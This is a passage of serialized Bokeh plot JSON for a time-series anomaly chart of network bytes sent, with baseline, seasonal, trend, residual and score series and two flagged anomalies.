xv0q32c+BW+4/kEWqMmNL9z8f2PRlP/ruP+r11Gqruvg/ByGzyIWf7L9O/RMPa0IBwIshncJnYuE/hYMEi7577r+SlQzmta7wv6YrMGMgXui/H9hAOwVr8b+bvIHO5RvbP1HCL01MJeW/R/9sAEIUwb+RX+mNoufYvxK71LNT++q/tYwSv0sP1r9ILrFJNWSkP7jQLlkg1fg/kJZWKO4t7r+XG81frVH/Py/sVfnkevw/tpF5yak16L/bayQQcRbzP60adZBUJ/K/buPlW8VB8L+QDGvt0AjCP4PVZdA6gcW/lDb1kSziGEBDb2xVUTkYQDSdThHOVvO/UTb59E9V1L+GU9DvJ8Dmv0QuZb5/W70/pQzk7Revvb/x7kHnQEzrvz+F4YKkft+/7giuKWOO6r+mH2O8Om/mv8+8V3GUgtc/qc0Bd75p3z9N6Gg2VFbmvydQru6FK+W/S/YH0pCp479JxFvGWG3wv2Qmp75+mOm/f6TWaWiG3b83x4VA+JPNv0BtdNKr3s2/uOZCh1q/47/LsuOWfbHHv84FNZp8Ury/QvaOGCF/A8DJKeiI+0MCwJO/cLKyKb0/P1U0v4V8jr/AbCI5RZXyPxQvF4TfccM/Bd/CE51R3j8K8VGQHKbiPyrJsQMVROQ/YjQZveit5D+TWihJn0XiP5E8RU7CSLU/3W32urcSw7+68uKQbXDjPyEaErj6hc+/R6+wEko14z8cjK/EIqaFP1Ya6Fqp7Mu/JQLxkrfu1D8prN1Ivn3Qv193U/4Z49s/EbGsZPIy4j/uWD16iC/Gv7pYZ9fZyMm/P5jnKD/47r/kVvLwyVTov5JtLu85v9E/8apSoC5czz/SiNkm9Xndv9THBykEyMK/\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[168]},\"seasonal\":[-10756,-7953,-8697,-9756,-10696,-9384,-9691,8607,7371,9446,10451,9953,9422,10593,8591,5536,7107,5316,6769,6628,-11261,-8280,-9428,-8756,-10385,-8835,-8347,-9634,-10254,-9288,-9505,7958,6710,9506,9796,8706,8644,9210,8648,6634,6245,5590,9335,7690,-10386,-8661,-9482,-8650,-9974,-9493,-8009,-9429,-9788,-9206,-9218,7140,6131,9240,9113,7648,7648,7913,8416,7361,5392,5710,11862,9021,-9516,-8842,-9364,-8452,-9641,-10039,-7602,-9339,-9454,-8958,-8714,6084,5661,8490,8223,6463,6546,6699,7796,7686,4528,5618,14048,10140,-8612,-9048,-8988,-7986,-7865,-8418,-6074,-7950,-8193,-7776,-6853,4315,4832,6151,5880,5424,4709,5565,6062,6248,3727,4303,10633,8532,-6302,-6906,-6524,-6391,-5789,-6245,-4208,-6142,-6629,-6534,-4936,2855,4081,3858,3764,4527,2756,4475,4259,4727,2775,2730,7286,7253,-4041,-4576,-4198,-4811,-3607,-3979,-2234,-4275,-5042,-5159,-2886,1527,3124,1555,1525,3449,709,3359,2509,3168,1695,982,3111,5395,-1643,-2008,-1625,-3149],\"trend\":[21943,21961,21977,21994,22010,22026,22042,22056,22070,22084,22096,22107,22117,22127,22135,22142,22148,22154,22158,22163,22168,22174,22182,22193,22181,22169,22155,22137,22116,22089,22058,22021,21980,21938,21897,21859,21826,21799,21781,21771,21770,21777,21795,21821,21855,21896,21941,21986,22030,22073,22114,22153,22191,22227,22264,22300,22337,22372,22404,22432,22455,22473,22485,22492,22495,22493,22487,22477,22466,22453,22437,22417,22394,22367,22335,22299,22259,22217,22172,22124,22074,22024,21975,21930,21892,21863,21843,21834,21836,21849,21870,21896,21925,21961,22008,22066,22134,22208,22283,22355,22418,22471,22509,22533,22541,22534,22512,22475,22421,22348,22252,22129,21979,21801,21598,21373,21128,20860,20570,20257,19925,19577,19217,18852,18486,18127,17778,17444,17127,16828,16549,16292,16060,15855,15682,15542,15434,15351,15285,15231,15186,15150,15121,15100,15085,15074,15058,15041,15025,15011,14997,14984,14971,14957,14943,14929,14913,14896,14877,14858,14836,14813,14788,14761,14733,14702,14670,14636],\"weights\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"2612\"},\"selection_policy\":{\"id\":\"2611\"}},\"id\":\"2562\",\"type\":\"ColumnDataSource\"},{\"attributes\":{},\"id\":\"2669\",\"type\":\"UnionRenderers\"},{\"attributes\":{},\"id\":\"2670\",\"type\":\"Selection\"},{\"attributes\":{\"label\":{\"value\":\"baseline\"},\"renderers\":[{\"id\":\"2632\"}]},\"id\":\"2654\",\"type\":\"LegendItem\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2702\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2562\"},\"glyph\":{\"id\":\"2629\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2631\"},\"nonselection_glyph\":{\"id\":\"2630\"},\"view\":{\"id\":\"2633\"}},\"id\":\"2632\",\"type\":\"GlyphRenderer\"},{\"attributes\":{\"line_alpha\":0.1,\"line_color\":\"green\",\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"baseline\"}},\"id\":\"2630\",\"type\":\"Line\"},{\"attributes\":{\"source\":{\"id\":\"2655\"}},\"id\":\"2661\",\"type\":\"CDSView\"},{\"attributes\":{\"line_color\":\"green\",\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"baseline\"}},\"id\":\"2629\",\"type\":\"Line\"},{\"attributes\":{\"data\":{\"TimeGenerated\":{\"__ndarray__\":\"AAAQJZ4zd0IAAPiToTN3Qg==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"TotalBytesSent\":[48616,45856],\"baseline\":[32232,29906],\"index\":[114,115],\"level_0\":[0,1],\"residual\":[16383,15949],\"score\":{\"__ndarray__\":\"lDb1kSziGEBDb2xVUTkYQA==\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[2]},\"seasonal\":[10633,8532],\"trend\":[21598,21373],\"weights\":[1,1]},\"selected\":{\"id\":\"2670\"},\"selection_policy\":{\"id\":\"2669\"}},\"id\":\"2655\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"label\":{\"value\":\"anomalies\"},\"renderers\":[{\"id\":\"2660\"}]},\"id\":\"2684\",\"type\":\"LegendItem\"},{\"attributes\":{\"source\":{\"id\":\"2562\"}},\"id\":\"2633\",\"type\":\"CDSView\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"firebrick\"},\"hatch_alpha\":{\"value\":0.2},\"hatch_color\":{\"value\":\"firebrick\"},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"firebrick\"},\"marker\":{\"value\":\"circle_x\"},\"size\":{\"value\":12},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"TotalBytesSent\"}},\"id\":\"2659\",\"type\":\"Scatter\"},{\"attributes\":{\"line_alpha\":0.2,\"line_color\":\"green\",\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"baseline\"}},\"id\":\"2631\",\"type\":\"Line\"},{\"attributes\":{\"active_multi\":{\"id\":\"2711\"},\"tools\":[{\"id\":\"2711\"}]},\"id\":\"2700\",\"type\":\"Toolbar\"},{\"attributes\":{\"axis\":{\"id\":\"2696\"},\"coordinates\":null,\"group\":null,\"ticker\":null},\"id\":\"2699\",\"type\":\"Grid\"},{\"attributes\":{\"fill_color\":{\"value\":\"#1f77b4\"},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"TotalBytesSent\"}},\"id\":\"2601\",\"type\":\"Circle\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"#1f77b4\"},\"hatch_alpha\":{\"value\":0.1},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"TotalBytesSent\"}},\"id\":\"2602\",\"type\":\"Circle\"},{\"attributes\":{\"coordinates\":null,\"data_source\":{\"id\":\"2562\"},\"glyph\":{\"id\":\"2601\"},\"group\":null,\"hover_glyph\":null,\"muted_glyph\":{\"id\":\"2603\"},\"nonselection_glyph\":{\"id\":\"2602\"},\"view\":{\"id\":\"2605\"}},\"id\":\"2604\",\"type\":\"GlyphRenderer\"},{\"attributes\":{},\"id\":\"2724\",\"type\":\"AllLabels\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.2},\"fill_color\":{\"value\":\"#1f77b4\"},\"hatch_alpha\":{\"value\":0.2},\"line_alpha\":{\"value\":0.2},\"line_color\":{\"value\":\"navy\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"TotalBytesSent\"}},\"id\":\"2603\",\"type\":\"Circle\"},{\"attributes\":{\"data\":{\"TimeGenerated\":{\"__ndarray__\":\"AADAwRYyd0IAAKgwGjJ3QgAAkJ8dMndCAAB4DiEyd0IAAGB9JDJ3QgAASOwnMndCAAAwWysyd0IAABjKLjJ3QgAAADkyMndCAADopzUyd0IAANAWOTJ3QgAAuIU8MndCAACg9D8yd0IAAIhjQzJ3QgAAcNJGMndCAABYQUoyd0IAAECwTTJ3QgAAKB9RMndCAAAQjlQyd0IAAPj8VzJ3QgAA4GtbMndCAADI2l4yd0IAALBJYjJ3QgAAmLhlMndCAACAJ2kyd0IAAGiWbDJ3QgAAUAVwMndCAAA4dHMyd0IAACDjdjJ3QgAACFJ6MndCAADwwH0yd0IAANgvgTJ3QgAAwJ6EMndCAACoDYgyd0IAAJB8izJ3QgAAeOuOMndCAABgWpIyd0IAAEjJlTJ3QgAAMDiZMndCAAAYp5wyd0IAAAAWoDJ3QgAA6ISjMndCAADQ86Yyd0IAALhiqjJ3QgAAoNGtMndCAACIQLEyd0IAAHCvtDJ3QgAAWB64MndCAABAjbsyd0IAACj8vjJ3QgAAEGvCMndCAAD42cUyd0IAAOBIyTJ3QgAAyLfMMndCAACwJtAyd0IAAJiV0zJ3QgAAgATXMndCAABoc9oyd0IAAFDi3TJ3QgAAOFHhMndCAAAgwOQyd0IAAAgv6DJ3QgAA8J3rMndCAADYDO8yd0IAAMB78jJ3QgAAqOr1MndCAACQWfkyd0IAAHjI/DJ3QgAAYDcAM3dCAABIpgMzd0IAADAVBzN3QgAAGIQKM3dCAAAA8w0zd0IAAOhhETN3QgAA0NAUM3dCAAC4Pxgzd0IAAKCuGzN3QgAAiB0fM3dCAABwjCIzd0IAAFj7JTN3QgAAQGopM3dCAAAo2Swzd0IAABBIMDN3QgAA+LYzM3dCAADgJTczd0IAAMiUOjN3QgAAsAM+M3dCAACYckEzd0IAAIDhRDN3QgAAaFBIM3dCAABQv0szd0IAADguTzN3QgAAIJ1SM3dCAAAIDFYzd0IAAPB6WTN3QgAA2OlcM3dCAADAWGAzd0IAAKjHYzN3QgAAkDZnM3dCAAB4pWozd0IAAGAUbjN3QgAASINxM3dCAAAw8nQzd0IAABhheDN3QgAAANB7M3dCAADoPn8zd0IAANCtgjN3QgAAuByGM3dCAACgi4kzd0IAAIj6jDN3QgAAcGmQM3dCAABY2JMzd0IAAEBHlzN3QgAAKLaaM3dCAAAQJZ4zd0IAAPiToTN3QgAA4AKlM3dCAADIcagzd0IAALDgqzN3QgAAmE+vM3dCAACAvrIzd0IAAGgttjN3QgAAUJy5M3dCAAA4C70zd0IAACB6wDN3QgAACOnDM3dCAADwV8czd0IAANjGyjN3QgAAwDXOM3dCAACopNEzd0IAAJAT1TN3QgAAeILYM3dCAABg8dszd0IAAEhg3zN3QgAAMM/iM3dCAAAYPuYzd0IAAACt6TN3QgAA6BvtM3dCAADQivAzd0IAALj58zN3QgAAoGj3M3dCAACI1/ozd0IAAHBG/jN3QgAAWLUBNHdCAABAJAU0d0IAACiTCDR3QgAAEAIMNHdCAAD4cA80d0IAAODfEjR3QgAAyE4WNHdCAACwvRk0d0IAAJgsHTR3QgAAgJsgNHdCAABoCiQ0d0IAAFB5JzR3QgAAOOgqNHdCAAAgVy40d0IAAAjGMTR3QgAA8DQ1NHdCAADYozg0d0IAAMASPDR3QgAAqIE/NHdCAACQ8EI0d0IAAHhfRjR3QgAAYM5JNHdCAABIPU00d0IAADCsUDR3QgAAGBtUNHdC\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[168]},\"TotalBytesSent\":[10823,14821,13532,11947,11193,13257,13375,27975,31501,28775,31398,32979,32241,33539,28420,25757,30947,27803,29637,29670,11563,13465,13587,14967,12964,13858,13119,13907,12739,11227,11268,31322,26683,32982,32544,31414,28254,29893,31290,28334,26328,26448,30576,30793,10484,14995,11715,11296,10487,10789,14758,10998,10682,14572,13689,34167,27286,33955,33700,26810,30679,31533,33739,32815,26046,27499,33974,29118,12821,12836,13819,14877,14220,10053,14690,13161,14334,12806,11771,25544,27355,33777,27055,27816,32648,25686,32147,33363,28923,31547,33575,26369,14754,10415,10286,12086,11414,14915,14479,14063,13211,12485,14759,26964,31469,26214,33556,32596,25150,31064,25338,25714,26089,25673,48616,45856,11654,13127,12184,14179,13841,11097,13724,10535,10022,12570,14145,18473,19477,19080,17622,18725,17612,19733,19338,18656,17732,17801,16167,16485,11455,10545,13991,10699,12735,12639,14501,12477,11497,10081,11729,18121,17458,18104,16508,17814,16494,17588,18545,19534,16085,15276,15363,18166,13830,13350,11842,11111],\"anomalies\":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0],\"baseline\":[11187,14007,13280,12238,11314,12641,12350,30664,29442,31531,32547,32060,31540,32721,30726,27678,29255,27470,28928,28791,10907,13894,12754,13436,11796,13334,13807,12503,11862,12800,12552,29979,28690,31444,31693,30566,30470,31010,30430,28406,28016,27368,31130,29511,11469,13234,12458,13336,12055,12579,14104,12723,12402,13021,13045,29441,28468,31613,31518,30080,30103,30386,30901,29854,27887,28203,34349,31499,12950,13611,13072,13965,12753,12328,14733,12960,12805,13258,13457,28209,27735,30514,30198,28394,28438,28562,29639,29520,26364,27468,35919,32037,13313,12912,13020,14080,14269,13789,16208,14404,14225,14694,15656,26848,27373,28686,28393,27900,27131,27913,28314,28378,25707,26105,32232,29906,14825,13953,14045,13866,14136,13332,15009,12709,11857,11592,12842,20300,21208,20687,20314,20820,18816,20331,19942,20270,18209,18082,22571,22484,11144,10574,10923,10288,11477,11094,12823,10765,9983,9851,12111,16511,18096,16513,16469,18378,15622,18256,17387,18026,16531,15796,17900,20157,13089,12694,13044,11487],\"index\":[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167],\"residual\":[-364,813,251,-291,-121,615,1024,-2689,2058,-2756,-1149,918,700,817,-2306,-1921,1691,332,708,878,655,-429,832,1530,1167,523,-688,1403,876,-1573,-1284,1342,-2007,1537,850,847,-2216,-1117,859,-72,-1688,-920,-554,1281,-985,1760,-743,-2040,-1568,-1790,653,-1725,-1720,1550,643,4725,-1182,2341,2181,-3270,575,1146,2837,2960,-1841,-704,-375,-2381,-129,-775,746,911,1466,-2275,-43,200,1528,-452,-1686,-2665,-380,3262,-3143,-578,4209,-2876,2507,3842,2558,4078,-2344,-5668,1440,-2497,-2734,-1994,-2855,1125,-1729,-341,-1014,-2209,-897,115,4095,-2472,5162,4695,-1981,3150,-2976,-2664,381,-432,16383,15949,-3171,-826,-1861,312,-295,-2235,-1285,-2174,-1835,977,1302,-1827,-1731,-1607,-2692,-2095,-1204,-598,-604,-1614,-477,-281,-6404,-5999,310,-29,3067,410,1257,1544,1677,1711,1513,229,-382,1609,-638,1590,38,-564,871,-668,1157,1507,-446,-520,-2537,-1991,740,655,-1202,-376],\"score\":{\"__ndarray__\":\"wXsqBZ0ywr+h30T8qIXTPy3+xdGRbLc/Qy/71X1Lvb/w3KS70YSpvwZYxigsas0/H8eTFymn2D/p2TyNrWjwvwJVXrD35eg/q6FE3vLQ8L99K6a3BjDcv3UMLTlME9Y/HERoszjG0D/6Fj+Cj57TPyOaTsw+Key/nvKk3Oh6578FqiduqG/kPy+B8TWCTb8/zbJcvwX40D8A42b9ShrVP/GqUqAuXM8/foJuB+Fbxb+GZqn47/vTPy8Q3CWJeuI/vQFFTVoh3D8eZtAVwPDIP+PAwOY++tC/kuH3lj3v4D9Ux2m61w3VPxOLoBi9P+O/afdi4Wp437+P+2PZXzHgP5XF5vyWhui/nQAX21KQ4j+UX49T/WvUPxK2E29QWdQ/f6sPaR0R67+5cNSH0mjbvxtcAgEEpNQ/G1q34yT5n7+rZo3erqXkv/JKcUF5nta/mwUFvShwy78YK6A3BOfeP1BOk0IbM9i/Yce1sWxG5T/kOfGYoFDSv+PpjuVN7ei/eyjkBC0w479UqMMKKuPlv5hzWBpIQ88/paYyCtkY5b8NRHb2SAnlv42azXTJuOI/3l51fMfGzj/1E4s0lan8Pxh09oh0/dy/3brRc9JW7D/zZ0X8z2TqP6fTSm7g8PO/HAU6sSl4yz8sX+MNoJ7bPyeRNXNTL/E/oBopmb/u8T8oyd6g54Hmv0Weqf7YXdG/KKwK5pC7wr8BYVj0rxLtv3lSSBs6E6u/qfTCyNQX07+WwCW4k+TRP5ort86459U/a1UK9lSz4T+sAyWFwcjrv/1FVi6wsJS/ivfsIKV2sj9Zgl2ET3TiP/j+Kww8esa/1dgOPXWf5L/khkXEU0Pwv4U2/DTR+cK/R+/7ub7E8z9ZvNimOivzv8GdvwT3msy/DpvF04qG+T/DQBnLs4vxv0q32c+BW+4/kEWqMmNL9z8f2PRlP/ruP+r11Gqruvg/ByGzyIWf7L9O/RMPa0IBwIshncJnYuE/hYMEi7577r+SlQzmta7wv6YrMGMgXui/H9hAOwVr8b+bvIHO5RvbP1HCL01MJeW/R/9sAEIUwb+RX+mNoufYvxK71LNT++q/tYwSv0sP1r9ILrFJNWSkP7jQLlkg1fg/kJZWKO4t7r+XG81frVH/Py/sVfnkevw/tpF5yak16L/bayQQcRbzP60adZBUJ/K/buPlW8VB8L+QDGvt0AjCP4PVZdA6gcW/lDb1kSziGEBDb2xVUTkYQDSdThHOVvO/UTb59E9V1L+GU9DvJ8Dmv0QuZb5/W70/pQzk7Revvb/x7kHnQEzrvz+F4YKkft+/7giuKWOO6r+mH2O8Om/mv8+8V3GUgtc/qc0Bd75p3z9N6Gg2VFbmvydQru6FK+W/S/YH0pCp479JxFvGWG3wv2Qmp75+mOm/f6TWaWiG3b83x4VA+JPNv0BtdNKr3s2/uOZCh1q/47/LsuOWfbHHv84FNZp8Ury/QvaOGCF/A8DJKeiI+0MCwJO/cLKyKb0/P1U0v4V8jr/AbCI5RZXyPxQvF4TfccM/Bd/CE51R3j8K8VGQHKbiPyrJsQMVROQ/YjQZveit5D+TWihJn0XiP5E8RU7CSLU/3W32urcSw7+68uKQbXDjPyEaErj6hc+/R6+wEko14z8cjK/EIqaFP1Ya6Fqp7Mu/JQLxkrfu1D8prN1Ivn3Qv193U/4Z49s/EbGsZPIy4j/uWD16iC/Gv7pYZ9fZyMm/P5jnKD/47r/kVvLwyVTov5JtLu85v9E/8apSoC5czz/SiNkm9Xndv9THBykEyMK/\",\"dtype\":\"float64\",\"order\":\"little\",\"shape\":[168]},\"seasonal\":[-10756,-7953,-8697,-9756,-10696,-9384,-9691,8607,7371,9446,10451,9953,9422,10593,8591,5536,7107,5316,6769,6628,-11261,-8280,-9428,-8756,-10385,-8835,-8347,-9634,-10254,-9288,-9505,7958,6710,9506,9796,8706,8644,9210,8648,6634,6245,5590,9335,7690,-10386,-8661,-9482,-8650,-9974,-9493,-8009,-9429,-9788,-9206,-9218,7140,6131,9240,9113,7648,7648,7913,8416,7361,5392,5710,11862,9021,-9516,-8842,-9364,-8452,-9641,-10039,-7602,-9339,-9454,-8958,-8714,6084,5661,8490,8223,6463,6546,6699,7796,7686,4528,5618,14048,10140,-8612,-9048,-8988,-7986,-7865,-8418,-6074,-7950,-8193,-7776,-6853,4315,4832,6151,5880,5424,4709,5565,6062,6248,3727,4303,10633,8532,-6302,-6906,-6524,-6391,-5789,-6245,-4208,-6142,-6629,-6534,-4936,2855,4081,3858,3764,4527,2756,4475,4259,4727,2775,2730,7286,7253,-4041,-4576,-4198,-4811,-3607,-3979,-2234,-4275,-5042,-5159,-2886,1527,3124,1555,1525,3449,709,3359,2509,3168,1695,982,3111,5395,-1643,-2008,-1625,-3149],\"trend\":[21943,21961,21977,21994,22010,22026,22042,22056,22070,22084,22096,22107,22117,22127,22135,22142,22148,22154,22158,22163,22168,22174,22182,22193,22181,22169,22155,22137,22116,22089,22058,22021,21980,21938,21897,21859,21826,21799,21781,21771,21770,21777,21795,21821,21855,21896,21941,21986,22030,22073,22114,22153,22191,22227,22264,22300,22337,22372,22404,22432,22455,22473,22485,22492,22495,22493,22487,22477,22466,22453,22437,22417,22394,22367,22335,22299,22259,22217,22172,22124,22074,22024,21975,21930,21892,21863,21843,21834,21836,21849,21870,21896,21925,21961,22008,22066,22134,22208,22283,22355,22418,22471,22509,22533,22541,22534,22512,22475,22421,22348,22252,22129,21979,21801,21598,21373,21128,20860,20570,20257,19925,19577,19217,18852,18486,18127,17778,17444,17127,16828,16549,16292,16060,15855,15682,15542,15434,15351,15285,15231,15186,15150,15121,15100,15085,15074,15058,15041,15025,15011,14997,14984,14971,14957,14943,14929,14913,14896,14877,14858,14836,14813,14788,14761,14733,14702,14670,14636],\"weights\":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]},\"selected\":{\"id\":\"2743\"},\"selection_policy\":{\"id\":\"2742\"}},\"id\":\"2704\",\"type\":\"ColumnDataSource\"},{\"attributes\":{\"source\":{\"id\":\"2562\"}},\"id\":\"2605\",\"type\":\"CDSView\"},{\"attributes\":{\"days\":[\"%m-%d %H:%M\"],\"hours\":[\"%H:%M:%S\"],\"milliseconds\":[\"%H:%M:%S.%3N\"],\"minutes\":[\"%H:%M:%S\"],\"seconds\":[\"%H:%M:%S\"]},\"id\":\"2596\",\"type\":\"DatetimeTickFormatter\"},{\"attributes\":{\"format\":\"00\"},\"id\":\"2598\",\"type\":\"NumeralTickFormatter\"},{\"attributes\":{},\"id\":\"2569\",\"type\":\"DataRange1d\"},{\"attributes\":{},\"id\":\"2742\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"axis_label\":\"TotalBytesSent\",\"coordinates\":null,\"formatter\":{\"id\":\"2598\"},\"group\":null,\"major_label_policy\":{\"id\":\"2608\"},\"ticker\":{\"id\":\"2580\"}},\"id\":\"2579\",\"type\":\"LinearAxis\"},{\"attributes\":{},\"id\":\"2743\",\"type\":\"Selection\"},{\"attributes\":{\"below\":[{\"id\":\"2575\"}],\"center\":[{\"id\":\"2578\"},{\"id\":\"2582\"},{\"id\":\"2626\"}],\"height\":300,\"left\":[{\"id\":\"2579\"}],\"min_border_left\":50,\"renderers\":[{\"id\":\"2604\"},{\"id\":\"2632\"},{\"id\":\"2660\"}],\"title\":{\"id\":\"2565\"},\"toolbar\":{\"id\":\"2589\"},\"toolbar_location\":\"above\",\"width\":1200,\"x_range\":{\"id\":\"2567\"},\"x_scale\":{\"id\":\"2571\"},\"y_range\":{\"id\":\"2569\"},\"y_scale\":{\"id\":\"2573\"}},\"id\":\"2564\",\"subtype\":\"Figure\",\"type\":\"Plot\"},{\"attributes\":{\"end\":1594624860000.0,\"start\":1593963540000.0},\"id\":\"2567\",\"type\":\"Range1d\"},{\"attributes\":{\"axis_label\":\"TimeGenerated\",\"coordinates\":null,\"formatter\":{\"id\":\"2596\"},\"group\":null,\"major_label_policy\":{\"id\":\"2610\"},\"ticker\":{\"id\":\"2576\"}},\"id\":\"2575\",\"type\":\"DatetimeAxis\"},{\"attributes\":{},\"id\":\"2573\",\"type\":\"LinearScale\"},{\"attributes\":{},\"id\":\"2608\",\"type\":\"AllLabels\"},{\"attributes\":{\"axis\":{\"id\":\"2575\"},\"coordinates\":null,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"2578\",\"type\":\"Grid\"},{\"attributes\":{},\"id\":\"2571\",\"type\":\"LinearScale\"},{\"attributes\":{\"coordinates\":null,\"group\":null,\"text\":\"Time Series Anomalies Visualization\"},\"id\":\"2565\",\"type\":\"Title\"},{\"attributes\":{},\"id\":\"2610\",\"type\":\"AllLabels\"},{\"attributes\":{\"axis\":{\"id\":\"2579\"},\"coordinates\":null,\"dimension\":1,\"grid_line_color\":null,\"group\":null,\"ticker\":null},\"id\":\"2582\",\"type\":\"Grid\"},{\"attributes\":{\"num_minor_ticks\":10,\"tickers\":[{\"id\":\"2614\"},{\"id\":\"2615\"},{\"id\":\"2616\"},{\"id\":\"2617\"},{\"id\":\"2618\"},{\"id\":\"2619\"},{\"id\":\"2620\"},{\"id\":\"2621\"},{\"id\":\"2622\"},{\"id\":\"2623\"},{\"id\":\"2624\"},{\"id\":\"2625\"}]},\"id\":\"2576\",\"type\":\"DatetimeTicker\"},{\"attributes\":{\"coordinates\":null,\"fill_alpha\":0.2,\"fill_color\":\"navy\",\"group\":null,\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[2,2],\"line_width\":0.5,\"syncable\":false},\"id\":\"2712\",\"type\":\"BoxAnnotation\"},{\"attributes\":{},\"id\":\"2580\",\"type\":\"BasicTicker\"},{\"attributes\":{},\"id\":\"2585\",\"type\":\"ResetTool\"},{\"attributes\":{\"fill_alpha\":{\"value\":0.1},\"fill_color\":{\"value\":\"blue\"},\"hatch_alpha\":{\"value\":0.1},\"hatch_color\":{\"value\":\"blue\"},\"line_alpha\":{\"value\":0.1},\"line_color\":{\"value\":\"blue\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"score\"}},\"id\":\"2707\",\"type\":\"Circle\"},{\"attributes\":{\"days\":[1,4,7,10,13,16,19,22,25,28]},\"id\":\"2749\",\"type\":\"DaysTicker\"},{\"attributes\":{\"bottom_units\":\"screen\",\"coordinates\":null,\"fill_alpha\":0.5,\"fill_color\":\"lightgrey\",\"group\":null,\"left_units\":\"screen\",\"level\":\"overlay\",\"line_alpha\":1.0,\"line_color\":\"black\",\"line_dash\":[4,4],\"line_width\":2,\"right_units\":\"screen\",\"syncable\":false,\"top_units\":\"screen\"},\"id\":\"2588\",\"type\":\"BoxAnnotation\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2583\",\"type\":\"WheelZoomTool\"},{\"attributes\":{\"overlay\":{\"id\":\"2588\"}},\"id\":\"2584\",\"type\":\"BoxZoomTool\"},{\"attributes\":{},\"id\":\"2586\",\"type\":\"SaveTool\"},{\"attributes\":{\"fill_color\":{\"value\":\"blue\"},\"hatch_color\":{\"value\":\"blue\"},\"line_color\":{\"value\":\"blue\"},\"x\":{\"field\":\"TimeGenerated\"},\"y\":{\"field\":\"score\"}},\"id\":\"2706\",\"type\":\"Circle\"},{\"attributes\":{\"dimensions\":\"width\"},\"id\":\"2587\",\"type\":\"PanTool\"},{\"attributes\":{},\"id\":\"2611\",\"type\":\"UnionRenderers\"},{\"attributes\":{\"mantissas\":[1,2,5],\"max_interval\":500.0,\"num_minor_ticks\":0},\"id\":\"2745\",\"type\":\"AdaptiveTicker\"},{\"attributes\":{},\"id\":\"2612\",\"type\":\"Selection\"},{\"attributes\":{\"base\":60,\"mantissas\":[1,2,5,10,15,20,30],\"max_interval\":1800000.0,\"m